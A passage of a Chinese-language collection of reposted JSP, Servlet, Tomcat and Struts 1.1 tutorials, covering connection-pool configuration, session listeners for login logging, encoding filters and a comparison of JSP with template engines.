<!-- Use the removeAbandonedTimeout parameter to set the number of seconds a DB connection has been idle before it is considered abandoned. -->
<value>60</value>
</parameter>
<parameter>
<name>logAbandoned</name>
<!-- Log a stack trace of the code which abandoned -->
<value>false</value>
</parameter>
<parameter>
<name>factory</name>
<!-DBCP Basic Datasource Factory -->
<value>org.apache.commons.dbcp.BasicDataSourceFactory</value>
</parameter>
<parameter>
<name>username</name>
<!-- Database User Name -->
<value>Iorishinier</value>
</parameter>
<parameter>
<name>password</name>
<!-- User Password -->
<value>mypasswd</value>
</parameter>
<parameter>
<name>driverClassName</name>
<!-- Database Driver Class Name -->
<value>net.sourceforge.jtds.jdbc.Driver</value>
</parameter>
<parameter>
<name>url</name>
<!-- Database Address -->
<value>jdbc:jtds:sqlserver://127.127.127.127:1433/Northwind</value>
</parameter>
</ResourceParams>
</Context>
下面是一些参数的说明：
<Context path="/quality" docBase="quality" debug="0" reloadable="true" crossContext="true">
其中：
1) path 指定路径，这里设定的是$CATALINA_HOME/webapps下的quality目录；
2) docBase 文件根目录。
3) reloader 当网页被更新时是否重新编译。
4) maxActive 连接池的最大数据库连接数。设为0表示无限制。
5) maxIdle 数据库连接的最大空闲时间。超过此空闲时间，数据库连接将被标记为不可用，然后被释放。设为0表示无限制。
6) maxWait 最大建立连接等待时间。如果超过此时间将接到异常。设为－1表示无限制。
7) removeAbandoned 回收被遗弃的（一般是忘了释放的）数据库连接到连接池中。
8) removeAbandonedTimeout 数据库连接过多长时间不用将被视为被遗弃而收回连接池中。
9) logAbandoned 将被遗弃的数据库连接的回收记入日志。
10) driverClassName JDBC驱动程序。
11) url 数据库连接字符串
在$CATALINA_HOME/webapps/quality/WEB-INF/web.xml里设置被引用的资源：
下面是配置代码，必须放在<web-app>和</web-app>里。
<!-- Database Config start -->
<resource-ref>
<description>connectDB test</description>
<res-ref-name>jdbc/connectDB</res-ref-name>
<res-type>javax.sql.DataSource</res-type>
<res-auth>Container</res-auth>
</resource-ref>
<!-- Database Config end -->
下面是一下参数的必要说明：
1) description 对被引用的资源的描述。
2) res-ref-name 资源名称。见上面的<ResourceParams name="jdbc/connectDB">
3) res-type 资源类型。见上面的<Resource name="jdbc/connectDB" auth="Container" type="javax.sql.DataSource"/>
在JSP中使用资源：
这是在$CATALINA_HOME/webapps/quality下的某级子目录里的jsp网页文件部分代码：
<%@ page contentType="text/html;charset=GBK"%>
<%@ page errorPage="error.jsp"%>
<%@ page import="javax.naming.*"%>
<%@ page import="javax.sql.*"%>
<%@ page import="java.sql.*"%>
<html>
<head>
</head>
<body>
<%

………………
………………

// 数据库操作
Context ctx=null;
Connection cnn=null;
Statement stmt=null;
ResultSet rs=null;
try
{
ctx=new InitialContext();
if(ctx==null)
throw new Exception("没有匹配的环境");
DataSource ds=(DataSource)ctx.lookup("java:comp/env/jdbc/connectDB");
if(ds==null)
throw new Exception("没有匹配数据库");

cnn=ds.getConnection();
stmt=cnn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_READ_ONLY);
rs=stmt.executeQuery("select * from table1");

………………
………………

}
finally
{
if(rs!=null)
rs.close();
if(stmt!=null)
stmt.close();
if(cnn!=null)
cnn.close();
if(ctx!=null)
ctx.close();
}
%>
</body>
</html>
代码说明：
DataSource ds=(DataSource)ctx.lookup("java:comp/env/jdbc/connectDB");
上面这句应用了刚才设的资源。
资源使用完要释放，尤其是Context资源，见try-catch-finally部分的finally代码段，这是一种好的习惯。资源释放时如果释放了上级资源，下级资源将先被释放。如：释放了ctx，那么资源释放顺序将是rs，stmt，cnn，ctx。换句话说，如果释放了ctx，那么rs，stmt和cnn都将不可用了。
这里的释放资源只是将数据库连接返回连接池中，并不是把资源真正释放掉，见数据库连接池概述。

转自：动态网站制作指南 | www.knowsky.com


JSP中字符替换函数str_replace()

JSP中的字符替换函数
  str_replace()实现
//
// StrReplace.java
//
package forum;
import java.util.*;

/**
* Title:
* Description:
* Copyright: Copyright (c) 2001
* Company:
* @author
* @version 1.0
*/

public class StrReplace {

public StrReplace() {
}
public String str_replace(String from,String to,String source)
{
StringBuffer bf= new StringBuffer("");
StringTokenizer st = new StringTokenizer(source,from,true);
while (st.hasMoreTokens())
{
String tmp = st.nextToken();
System.out.println("*"+tmp);
if(tmp.equals(from))
{
bf.append(to);
}
else
{
bf.append(tmp);
}
}
return bf.toString();
}
}

// 使用方法

<%= replace.str_replace("<","^","

123456

") %>


Servlet中如何捕获Session事件

    捕获Session事件的意义：

    1、 记录网站的客户登录日志（登录，退出信息等）

    2、 统计在线人数

    3、 等等还有很多，呵呵，自己想吧……总之挺重要的。

    Session代表客户的会话过程，客户登录时，往Session中传入一个对象，即可跟踪客户的会话。在Servlet中，传入Session的对象如果是一个实现HttpSessionBindingListener接口的对象（方便起见，此对象称为监听器），则在传入的时候（即调用HttpSession对象的setAttribute方法的时候）和移去的时候（即调用HttpSession对象的removeAttribute方法的时候或Session Time out的时候）Session对象会自动调用监听器的valueBound和valueUnbound方法（这是HttpSessionBindingListener接口中的方法）。由此可知，登录日志也就不难实现了。

    另外一个问题是，如何统计在线人数，这个问题跟实现登录日志稍微有点不同，统计在线人数（及其信息），就是统计现在有多少个Session实例存在，我们可以增加一个计数器（如果想存储更多的信息，可以用一个对象来做计数器，随后给出的实例中，简单起见，用一个整数变量作为计数器），通过在valueBound方法中给计数器加1，valueUnbound方法中计数器减1，即可实现在线人数的统计。当然，这里面要利用到ServletContext的全局特性。(有关ServletContext的叙述请参考Servlet规范)，新建一个监听器，并将其实例存入ServletContext的属性中，以保证此监听器实例的唯一性，当客户登录时，先判断ServletContext的这个属性是否为空，如果不为空，证明已经创建，直接将此属性取出放入Session中，计数器加1；如果为空则创建一个新的监听器，并存入ServletContext的属性中。

    举例说明：

    实现一个监听器：

    // SessionListener.java

    import java.io.*;

    import java.util.*;

    import javax.servlet.http.*;

    //监听登录的整个过程

    public class SessionListener implements HttpSessionBindingListener

    {

    public String privateInfo=""; //生成监听器的初始化参数字符串

    private String logString=""; //日志记录字符串

    private int count=0; //登录人数计数器

    public SessionListener(String info){

    this.privateInfo=info;

    }

    public int getCount(){

    return count;

    }

    public void valueBound(HttpSessionBindingEvent event)

    {

    count++;

    if (privateInfo.equals("count"))

    {

    return;

    }

    try{

    Calendar calendar=new GregorianCalendar();

    System.out.println("LOGIN:"+privateInfo+" TIME:"+calendar.getTime());

    logString="\nLOGIN:"+privateInfo+" TIME:"+calendar.getTime()+"\n";

    for(int i=1;i<1000;i++){

    File file=new File("yeeyoo.log"+i);

    if(!(file.exists()))

    file.createNewFile(); //如果文件不存在，创建此文件

    if(file.length()>1048576) //如果文件大于1M，重新创建一个文件

    continue;

    FileOutputStream foo=new FileOutputStream("yeeyoo.log"+i,true);

    //以append方式打开创建文件

    foo.write(logString.getBytes(),0,logString.length()); //写入日志字符串

    foo.close();

    break;//退出

    }

    }catch(FileNotFoundException e){}

    catch(IOException e){}

    }

    public void valueUnbound(HttpSessionBindingEvent event)

    {

    count--;

    if (privateInfo.equals("count"))

    {

    return;

    }

    try{

    Calendar calendar=new GregorianCalendar();

    System.out.println("LOGOUT:"+privateInfo+" TIME:"+calendar.getTime());

    logString="\nLOGOUT:"+privateInfo+" TIME:"+calendar.getTime()+"\n";

    for(int i=1;i<1000;i++){

    File file=new File("yeeyoo.log"+i);

    if(!(file.exists()))

    file.createNewFile(); //如果文件不存在，创建此文件

    if(file.length()>1048576) //如果文件大于1M，重新创建一个文件

    continue;

    FileOutputStream foo=new FileOutputStream("yeeyoo.log"+i,true);

    //以append方式打开创建文件

    foo.write(logString.getBytes(),0,logString.length()); //写入日志字符串

    foo.close();

    break;//退出

    }

    }catch(FileNotFoundException e){}

    catch(IOException e){}

    }

    }

    登录日志的实现：

    下面再来看看我们的登录Servlet中使用这个监听器的部分源代码：

    ……

    HttpSession session = req.getSession (true);

    ……

    SessionListener sessionListener=

    new SessionListener("IP:"+req.getRemoteAddr());

    //对于每一个会话过程均启动一个监听器

    session.setAttribute("listener",sessionListener);

    //将监听器植入HttpSession，这将激发监听器调用valueBound方法，

    //从而记录日志文件。

    当系统退出登录时，只需简单地调用session.removeAttribute(“listener”);

    即可自动调用监听器的valueUnbound方法。或者，当Session Time Out的时候也会调用此方法。

    登录人数的统计：

    ServletContext session1=getServletConfig().getServletContext();

    //取得ServletContext对象实例

    if((SessionListener)session1.getAttribute("listener1")==null)

    {

    SessionListener sessionListener1=new SessionListener("count");

    //只设置一次，不同于上面日志文件的记录每次会话均设置。

    //即当第一个客户连接到服务器时启动一个全局变量，

    //此后所有的客户将使用相同的上下文。

    session1.setAttribute("listener1",sessionListener1);

    //将监听器对象设置成ServletContext的属性，具有全局范围有效性，

    //即所有的客户均可以取得它的实例。

    }

    session.setAttribute("listener1",(SessionListener)session1.

    getAttribute("listener1"));

    //取出此全局对象，并且将此对象绑定到某个会话中，

    //此举将促使监听器调用valueBound，计数器加一。

    在此后的程序中随时可以用以下代码取得当前的登录人数：

    ((SessionListener)session.getAttribute("listener1")).getCount()

    getCount()是监听器的一个方法，即取得当前计数器的值也就是登录人数了。


捕获Session事件的意义：
1、 记录网站的客户登录日志（登录，退出信息等）
2、 统计在线人数
3、 等等还有很多，呵呵，自己想吧……总之挺重要的。

Session代表客户的会话过程，客户登录时，往Session中传入一个对象，即可跟踪客户的会话。在Servlet中，传入Session的对象如果是一个实现HttpSessionBindingListener接口的对象（方便起见，此对象称为监听器），则在传入的时候（即调用HttpSession对象的setAttribute方法的时候）和移去的时候（即调用HttpSession对象的removeAttribute方法的时候或Session Time out的时候）Session对象会自动调用监听器的valueBound和valueUnbound方法（这是HttpSessionBindingListener接口中的方法）。
由此可知，登录日志也就不难实现了。
另外一个问题是，如何统计在线人数，这个问题跟实现登录日志稍微有点不同，统计在线人数（及其信息），就是统计现在有多少个Session实例存在，我们可以增加一个计数器（如果想存储更多的信息，可以用一个对象来做计数器，随后给出的实例中，简单起见，用一个整数变量作为计数器），通过在valueBound方法中给计数器加1，valueUnbound方法中计数器减1，即可实现在线人数的统计。当然，这里面要利用到ServletContext的全局特性。(有关ServletContext的叙述请参考Servlet规范)，新建一个监听器，并将其实例存入ServletContext的属性中，以保证此监听器实例的唯一性，当客户登录时，先判断ServletContext的这个属性是否为空，如果不为空，证明已经创建，直接将此属性取出放入Session中，计数器加1；如果为空则创建一个新的监听器，并存入ServletContext的属性中。

举例说明：

实现一个监听器：
// SessionListener.java

import java.io.*;
import java.util.*;
import javax.servlet.http.*;

//监听登录的整个过程
public class SessionListener implements HttpSessionBindingListener
{

public String privateInfo=""; //生成监听器的初始化参数字符串
private String logString=""; //日志记录字符串
private int count=0; //登录人数计数器

public SessionListener(String info){
this.privateInfo=info;
}

public int getCount(){
return count;
}

public void valueBound(HttpSessionBindingEvent event)
{
count++;
if (privateInfo.equals("count"))
{
return;
}
try{
Calendar calendar=new GregorianCalendar();
System.out.println("LOGIN:"+privateInfo+" TIME:"+calendar.getTime());
logString="\nLOGIN:"+privateInfo+" TIME:"+calendar.getTime()+"\n";
for(int i=1;i<1000;i++){
File file=new File("yeeyoo.log"+i);
if(!(file.exists()))
file.createNewFile(); //如果文件不存在，创建此文件
if(file.length()>1048576) //如果文件大于1M，重新创建一个文件
continue;
FileOutputStream foo=new FileOutputStream("yeeyoo.log"+i,true);//以append方式打开创建文件
foo.write(logString.getBytes(),0,logString.length()); //写入日志字符串
foo.close();
break;//退出
}
}catch(FileNotFoundException e){}
catch(IOException e){}
}

public void valueUnbound(HttpSessionBindingEvent event)
{
count--;
if (privateInfo.equals("count"))
{
return;
}
try{
Calendar calendar=new GregorianCalendar();
System.out.println("LOGOUT:"+privateInfo+" TIME:"+calendar.getTime());
logString="\nLOGOUT:"+privateInfo+" TIME:"+calendar.getTime()+"\n";
for(int i=1;i<1000;i++){
File file=new File("yeeyoo.log"+i);
if(!(file.exists()))
file.createNewFile(); //如果文件不存在，创建此文件
if(file.length()>1048576) //如果文件大于1M，重新创建一个文件
continue;
FileOutputStream foo=new FileOutputStream("yeeyoo.log"+i,true);//以append方式打开创建文件
foo.write(logString.getBytes(),0,logString.length()); //写入日志字符串
foo.close();
break;//退出
}
}catch(FileNotFoundException e){}
catch(IOException e){}
}

}

登录日志的实现：

下面再来看看我们的登录Servlet中使用这个监听器的部分源代码：
……
HttpSession session = req.getSession (true);
……
///////////////////////////////////////////////////////////////////////
SessionListener sessionListener=new SessionListener(" IP:"+req.getRemoteAddr()); //对于每一个会话过程均启动一个监听器
session.setAttribute("listener",sessionListener); //将监听器植入HttpSession，这将激发监听器调用valueBound方法，从而记录日志文件。
///////////////////////////////////////////////////////////////////////
当系统退出登录时，只需简单地调用session.removeAttribute(“listener”);即可自动调用监听器的valueUnbound方法。或者，当Session Time Out的时候也会调用此方法。

登录人数的统计：
ServletContext session1=getServletConfig().getServletContext();//取得ServletContext对象实例
if((SessionListener)session1.getAttribute("listener1")==null)
{
SessionListener sessionListener1=new SessionListener("count");//只设置一次，不同于上面日志文件的记录每次会话均设置。即当第一个客户连接到服务器时启动一个全局变量，此后所有的客户将使用相同的上下文。
session1.setAttribute("listener1",sessionListener1);//将监听器对象设置成ServletContext的属性，具有全局范围有效性，即所有的客户均可以取得它的实例。
}
session.setAttribute("listener1",(SessionListener)session1.getAttribute("listener1"));//取出此全局对象，并且将此对象绑定到某个会话中，此举将促使监听器调用valueBound，计数器加一。
在此后的程序中随时可以用以下代码取得当前的登录人数：
((SessionListener)session.getAttribute("listener1")).getCount()
getCount()是监听器的一个方法，即取得当前计数器的值也就是登录人数了。


Struts学习傻瓜式入门篇-www.knowsky.com

    或许有人觉得struts不容易学，似乎里面的一些概念让未接触过的人迷惑，MVC1、MVC2、模式……我写这篇文章是想让从来没有接触过struts的人，能有个简单的入门指引，当然，系统地学习struts是必要的，里面有很多让人心醉的东东，那是后话了。

    该案例包括首页，用户登陆、网站向导页面。就这么简单，没有深奥的struts概念，主要靠动手，然后用心体会。

    WEB Server用tomcat4。到http://jakarta.apache.org/下载struts1.1，把zip文件释放到c:\struts，拷贝C:\struts\webapps\struts-example.war到c:\tomcat4\webapps中，启动tomcat，war包被释放为struts-example文件夹，删除war包，把struts-example文件夹更名为test。
    一、把WEB-INF\web.xml改成：

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.2//EN" "http://java.sun.com/j2ee/dtds/web-app_2_2.dtd">

<web-app>
<!—这是struts中的Controller（控制器），系统的指令中转由其，既ActionServlet 类负责，它从struts-config.xml中读取配置信息，并在服务器后台自动启动一个线程。如果没有特别的要求（如添加语言编转功能），程序员可以不管这部分，照用就可以了。-->
<servlet>
<servlet-name>action</servlet-name>
<servlet-class>org.apache.struts.action.ActionServlet</servlet-class>
<init-param>
<param-name>config</param-name>
<param-value>/WEB-INF/struts-config.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<!--该系统的servlet可以映射成cool为后缀的文件，而不是常见的.jspdo等，后缀名可以改成任何名称，当然名字要健康＃◎￥％！-->
<servlet-mapping>
<servlet-name>action</servlet-name>
<url-pattern>*.cool</url-pattern>
</servlet-mapping>
<!--该系统的默认首页是index.jsp，可以有多个，系统按次序找，类似IIS-->
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>

    二、把test\WEB-INF\ struts-config.xml改成：

<?xml version="1.0" encoding="ISO-8859-1" ?>
<!DOCTYPE struts-config PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 1.1//EN"
"http://jakarta.apache.org/struts/dtds/struts-config_1_1.dtd">

<struts-config>
<!--FormBean是struts的一个概念，本质是JavaBean，用来自动存储页面表单中各个域的值，并在适当的时候回填表单域，不需要象传统那样request.getParameter(“fieldName”);，常被action-mappings中的action 使用-->
<form-beans>
<!—稍后我们会新增一个UserForm类，用来存储用户信息。-->
<form-bean name="userForm" type="test.UserForm"/>
</form-beans>
<!--这里存放整个系统都可以使用的全局转向中转(Forward)地址，类似于javascript中的window.location(‘index.jsp’);，也类似于电视控制器上的各种按钮，可以转频道、调色等等是基于Struts的Web应用的控制流程流转。一般情况下，一个Action处理完毕后，会转发到一个JSP页面进行显示。这也是JSP中的MVC的实现的要点。-->
<global-forwards>
<!--failed.cool将被当成servlet请求，到action-mappings中寻找对应的action处理。-->
<forward name="failed" path="/failed.cool"/>
<forward name="regist" path="/regist.jsp"/>
</global-forwards>
<!--还记得web.xml中后缀为cool的请求吗？它们是转到这里处理的。这里相当于struts的Model部分，Model部分是struts中比较灵活的地方。-->
<action-mappings>
<!--处理regist.cools的请求，使用的FormBean是userForm，既test.UserForm类，当处理过程发生错误时将返回index.jsp-->
<action path="/regist" type="test.RegistAction" name="userForm" scope="request" input="/index.jsp" />
<action path="/overview" forward="/hello.jsp"/>
<action path="/failed" forward="/wuwu.jsp" />
</action-mappings>
</struts-config>
    三、增加一个FormBean，类路径为test.UserForm，以下是这个类的内容：

package test;
import org.apache.struts.action.ActionForm;
public class UserForm extends ActionForm
{
  private String name="lpw";//用户名
  private String ps="1111";//密码
  public UserForm(){}
  public void setName(String s) {name=s;}
  public String getName() {return name;}
  public void setPs(String s) {ps=s;}
  public String getPs() {return ps;}
}

    四、增加一个Action的子类，类路径为test. RegistAction，以下是这个类的内容：

package test;
import java.lang.reflect.InvocationTargetException;
import java.util.Locale;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
import javax.servlet.http.HttpServletResponse;
import org.apache.struts.action.Action;
import org.apache.struts.action.ActionError;
import org.apache.struts.action.ActionErrors;
import org.apache.struts.action.ActionForm;
import org.apache.struts.action.ActionForward;
import org.apache.struts.action.ActionMapping;
import org.apache.struts.util.MessageResources;
import test.UserForm;
public final class RegistAction extends Action
{
  public ActionForward execute(ActionMapping mapping,ActionForm form, HttpServletRequest request, HttpServletResponse response)
  throws Exception
  {
    Locale locale = getLocale(request);
    MessageResources messages = getResources(request);
    HttpSession session = request.getSession();
    UserForm userform = (UserForm) form;
    //此处可以调用其他类来执行数据库写入或其他逻辑判断
    // 如果UserForm传来的参数name的值为默认的lpw，将forward到failed，
    // 该名称将到struts-config.xml的<global-forwards>中寻找映射的url地址
    // （可以是绝对路径，也可以是相对路径），对于本例，是转到failed.cool，
    // 还记得吗？后缀为cool的请求全部到action-mappings中寻找
    // 对应的action处理，最终目录是wuwu.jsp*/
    if( "lpw".equals(userform.getName()) )
      return (mapping.findForward("failed"));
    else
      return (mapping.findForward("regist"));
  }
}

    五、以下所有新增或修改的页面相当于struts的View部分，把首页index.jsp改成：

<%@ page contentType="text/html;charset=GBK" language="java" %>
<%@ page import = "test.*" %>
<a href="overview.cool">站点导航</a><br>
<form action="regist.cool" method="post">
<!—表单中的域的名称要和UserForm中的参数一样，就可以实现数据自动获取功能，不需要用request.getParameter(“param”);-->
用户:<input type="text" name="name"><br>
密码:<input type="password" name="ps"><br>
<input type=submit value="新增用户">
</form>

    六、增加hello.jsp，用于站点导航：

<h1>site map</h1>The following is content filling by reader

    七、增加wuwu.jsp，当没有新用户登陆时，将转到这个页面：

<%@ page contentType="text/html;charset=GBK" language="java" %>
<jsp:useBean id="beanlpw" class="test.UserForm" scope="session"/>
现有用户：<%=beanlpw.getName()%><br>
密码：<%=beanlpw.getPs()%><br>

    没有得到新的用户！

    八、增加regist.jsp，当有新用户登陆时，将转到这个页面：

<%@ page contentType="text/html;charset=GBK" language="java" %>
<jsp:useBean id="beanlpw" class="test.UserForm" scope="session"/>
新用户帐号：<%=beanlpw.getName()%><br>
密码：<%=beanlpw.getPs()%>

    九、启动tomcat4，浏览器中键入http://localhost:8080/test/index.jsp，操作一下，就可以看到结果，并初步理解struts的M、V、C各部分的协同工作原理，当然这是作者的良好意愿，如果读者看得一头雾水，欢迎指出错误在哪里 ：）

转自：动态网站制作指南 | www.knowsky.com


解决JSP开发Web程序中的中文问题-www.knowsky.com

    这段时间经常看到有人问到web开发中怎么中文总是?号。原因其实很简单，因为大家大多用的是tomcat服务器，而tomcat服务器的默认编码为 iso-8859-1(西欧字符)。就是因为iso-8859-1(西欧字符)编码造成了我们经常看到？号。

    方法一：最简单也是用的最多的方法。

    ＜%@ page language="java" pageEncoding="GBK" %＞

    或者＜%@ page contenttype="text/html;charset=gbk";＞这里可以用gb2312或者gbk，只是gbk比gb2312支持跟多的字符。

    这个方法用于jsp页面中的中文显示。

    方法二：使用过滤器。

    过滤器使用主要针对表单提交，插入数据库的数据都是？号。这也是应为tomcat不按request所指定的编码进行编码，还是自作主张的采用默认编码方式iso-8859-1编码。

    编写一个SetCharacterEncodingFilter类。

import java.io.IOException;

import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;

public class SetCharacterEncodingFilter implements Filter {
  protected String encoding = null;
  protected FilterConfig filterConfig = null;
  protected boolean ignore = true;

  public void init(FilterConfig filterConfig) throws ServletException {
    this.filterConfig=filterConfig;
    this.encoding=filterConfig.getInitParameter("encoding");
    String value=filterConfig.getInitParameter("ignore");
    if(value==null)
      this.ignore=true;
    else if(value.equalsIgnoreCase("true"))
      this.ignore=true;
    else
      this.ignore=false;
  }

  public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
  // TODO 自动生成方法存根
  if (ignore || (request.getCharacterEncoding() == null)) {
    String encoding = selectEncoding(request);
    if (encoding != null)
      request.setCharacterEncoding(encoding);
  }
  chain.doFilter(request, response);
}

public void destroy() {
  // TODO 自动生成方法存根
  this.encoding = null;
  this.filterConfig = null;
}

protected String selectEncoding(ServletRequest request) {
  return (this.encoding);
}
}

    然后再web.xml加上

＜!-- Set Character Encoding--＞
＜filter＞
  ＜filter-name＞Set Character Encoding＜/filter-name＞
  ＜filter-class＞com.struts.common.SetCharacterEncodingFilter＜/filter-class＞
  ＜init-param＞
    ＜param-name＞encoding＜/param-name＞
    ＜param-value＞UTF-8＜/param-value＞
  ＜/init-param＞
＜/filter＞

＜filter-mapping＞
  ＜filter-name＞Set Character Encoding＜/filter-name＞
    ＜url-pattern＞/*＜/url-pattern＞
  ＜/filter-mapping＞
＜!-- Set Character Encoding--＞

    使用过滤器的好处很多，特别是项目之中。

    而且在使用国际化时就更有用了，只要在页面指定 ＜%@ page language="java" pageEncoding="UTF-8" %＞，服务器就会根据本地Locale来显示正确的字符集。

    所以我特别推荐使用过滤器。

    方法三：修改tomcat的server.xml文件中URIEncoding。

＜Connector debug="0" acceptCount="100" connectionTimeout="20000" disableUploadTimeout="true"
port="80" redirectPort="8443" enableLookups="false" minSpareThreads="25" maxSpareThreads="75"
maxThreads="150" maxPostSize="0" URIEncoding="GBK" ＞
＜/Connector＞

    这个方法主要针对从url中获取字符串的问题。

    在tomcat5.0及以上版本，post和get方法在处理编码时有所不同。如果你在url中获取中文就会出现？号。但在tomcat4.1版本没有问题，因为tomcat4.1的post和get方法在处理编码时是一样的。

转自：动态网站制作指南 | www.knowsky.com


困扰JSP的一些问题与解决方法

如今每一个使用servlets的开发者都知道JSP，一种由Sun公司发明并花费大量精力加以推行并建构在servlet技术之上的web技术。JSP将servlet中的html代码脱离了出来，从而可以加速web应用开发和页面维护。实际上，由Sun发布的官方 "应用开发模型"文档上说得更远： "JSP技术应该被视为标准，而servlets在多数情况下可视为一种补充。" ( Section 1.9, 1999/12/15听取意见版 )。

本文的目的在于听取对该申明的合理性的评估 -- 通过比较JSP和另一项基于servlets的技术： template engines（模板引擎）。

直接使用Servlets的问题

起初，servlets被发明，整个世界都看到了它的优越。基于servlet的动态网页可以被快速执行，可以在多个服务器之间轻易转移， 并且可以和后台数据库完美地集成。 Servlets被广泛接受成为一种web服务器端的首选平台。
但是，通常通过简单方式即可实现的html代码现在却要让程序员通过 out.println()调用每一行HTML行，这在实际的 servlet应用中成为了一个严重问题。 HTML内容不得不通过代码来实现, 对于大的HTML页来说不啻是一项繁重费时的工作。另外，负责网页内容的人员不得不请开发人员来进行所有的更新。为此，人们寻求这一种更好的解决方式。

JSP到！

JSP 0.90出现了。在这种技术中你可以将Java代码嵌入到HTML文件，服务器将自动为页面创建一个 servlet。 JSP被认为是一种写servlet的简易方式。所有HTML可以直接得到而不必通过out.println()调用，而负责页面内容的人员可以直接修改HTML而不必冒破坏Java代码的风险。
但是，让页面美术设计师和开发人员在同一文件上工作并不理想，让Java嵌入HTML被证明是就象将HTML 嵌入Java一样令人尴尬。读取一堆很乱的代码仍然是一件困难的事情。

于是，人们在使用jsp方面变得成熟，更多地使用了JavaBeans。 Beans包含了jsp所需的业务逻缉代码。JSP中的大多数代码都可以取出来放到bean中去，而只留下极少的标记用于调用bean。

最近，人们开始认为这种方式下的JSP页面真的很象是视图（view）。它们成为一个用于显示客户端请求的结果的组件。于是人们会想，为什么不直接对view发送请求呢？ 目标view如果对该请求不合适又将如何？ 说到底，很多的请求有多种可能来取得结果view视图。例如，同一请求可能产生成功的页面，数据库例外出错报告，或者是缺少参数的出错报告。同一请求可能产生一个英文页面也可能是西班牙文页面，这取决于客户端的locale。为什么客户端必须直接将请求发送给view?为什么客户端不应该将请求发送给一些通用的服务器组件并让服务器来决定JSP view的返回?

这使很多人接受了已被称为"Model 2"的设计, 这是在JSP 0.92中定义的基于model-view-controller的模型。在这种设计中，请求被发送到一个servlet控制器，它执行了商业逻缉并产生一个相近的数据"model"来用于显示。这一数据随后通过内部送到一个JSP "view"来进行显示，这样看起来JSP页就象是一个普通的嵌入的JavaBean。 可以根据负责控制的servlet的内部逻辑来选择适当的JSP页面进行显示。这样，JSP文件成为了一个漂亮的template view。这就是另一种发展，并被另外一些开发者所推崇至今---＞＞

进入Template Engines

使用template engine来代替通常目的的JSP, 接下去的设计将变得简单，语法更简单，出错信息更易读，工具也更用户化。 一些公司已经做了这样的引擎，最著名的可能是WebMacro (http://webmacro.org, from Semiotek)，他们的引擎是免费的。
开发者应该明了，选定一个template engine来取代JSP提供了这么一些技术优势，这也正是jsp的一些不足之处：

问题 #1: Java代码太模板化了

虽然被认为是不好的设计，JSP仍试图将Java代码加入web页面。这有些象是Java曾经做的，即对C++的简化修改，template engines也通过将jsp中的较低层的源码移去来使之简化。Template engines实行了更好的设计。

问题 #2: 要求Java代码

在JSP页中要求写一些Java代码。例如，假设某页要决定当前web应用中根的上下文从而导向其主页，
在JSP中最好使用如下Java代码：

＜a href="＜%= request.getContextPath() %＞/index.html"＞Home page＜/a＞

你可以试图避免 Java代码，而使用 ＜jsp:getProperty＞ 标记但这将给你六下难以阅读的字串：

＜a href="＜jsp:getProperty name="request"
property="contextPath"/＞/index.html"＞HomePage＜/a＞

使用template engine则没有Java代码和难看的语法。这里是同样要求下在WebMacro中的写法：

＜a href="$Request.ContextPath;/index.html"＞Home page＜/a＞

在WebMacro中, ContextPath 作为 $Request变量的一个属性，使用类似Perl的语法。其它er template engines使用了其它的语法类型。

再看另 一个例子，假设一个高级的"view"需要设定一个cookie来记录用户缺省的颜色配置 -- 这种任务看起来大概只能由view而不是servlet控制器来完成。在JSP中要有这样的Java代码：

＜% Cookie c = new Cookie("colorscheme", "blue"); response.addCookie(c); %＞

在WebMacro中则没有Java代码：

#set $Cookie.colorscheme = "blue"

作为最后一个离子，假如又要重新找回原来的cookie中的颜色配置。对于JSP，我们可以认为也有一个相应的工具类来提供帮助，因为用getCookies()直接做这样低层的会变得可笑而且困难。在JSP中：

＜% String colorscheme = ServletUtils.getCookie(request, "colorscheme"); %＞

在WebMacro中没有对工具类的需要，通常是：

$Cookie.colorscheme.Value

对写jsp的图形艺术师，又是哪一种语法更容易学习呢？

JSP 1.1 引入了自定义标记（custom tags）允许任意的和HTML相似的标记在JSP页面中在后台执行Java代码，这将具有一定的价值，但前提是要有一个广泛知晓的，全功能的，可以免费得到的，标准化的标记库。目前还没有出现这样的标记库。

问题 #3: 简单工作仍然很累人

即使是很简单的工作，例如包含 header和 footer，在JSP中仍然很很困难。 假设有一个 "header"和一个 "footer"模板要包含到所有页面，而每一个模板要在content中包含当前的页标题。
在JSP中最佳办法是：
＜% String title = "The Page Title"; %＞
＜%@ include file="/header.jsp" %＞
...你的页面内容...
＜%@ include file="/footer.jsp" %＞

页面设计者要记住不能遗漏第一行的分号并要将title定义为一个字符串。此外， /header.jsp和/footer.jsp必须在根目录下并且必须是可存取的完整文件。
在WebMacro中包含headers和footers做起来比较简单：

#set $title = "The Page Title"
#parse "header.wm"
Your content here
#parse "footer.wm"

这里对设计者来说没有要牢记的分号或对title的定义， .wm文件可以放在可自定义的搜索路径下。

问题 #4: 很粗的循环

在JSP中循环很困难。这里是用JSP重复打印出每一个ISP对象名字。
＜%
Enumeration e = list.elements();
while (e.hasMoreElements()) {
out.print("The next name is ");
out.println(((ISP)e.nextElement()).getName());
out.print("＜br＞");
}
%＞

也许什么时候会有用户自定义标记来做这些循环。对"if"也是如此。JSP页可能看上去成了很古怪的java代码。而同时，webmacro循环很漂亮：
#foreach $isp in $isps {
The next name is $isp.Name ＜br＞
}

如果必要的话，#foreach指令可被自定义的 #foreach-backwards指令很容易地取代。
用jsp的话很可能变这样：（这里是一个可能的 ＜foreach＞标记）

＜foreach item="isp" list="isps"＞
The next name is ＜jsp:getProperty name="isp" property="name"/＞ ＜br＞
＜/foreach＞

设计者当然地回选择前者。

问题 #5: 无用的出错信息

JSP常有一些令人惊讶的出错信息。这是因为页面首先被转换成为一个servlet然后才进行编译。好的JSP 工具可以相对增加找到出错位置的可能性，但即使是最好的工具也无法使所有出错信息都能容易地被读懂。由于转化的过程，一些错误对工具来说可能根本不可能被识别。
例如，假设JSP页面需要建立一个对所有页通用的标题。以下代码并没有错：
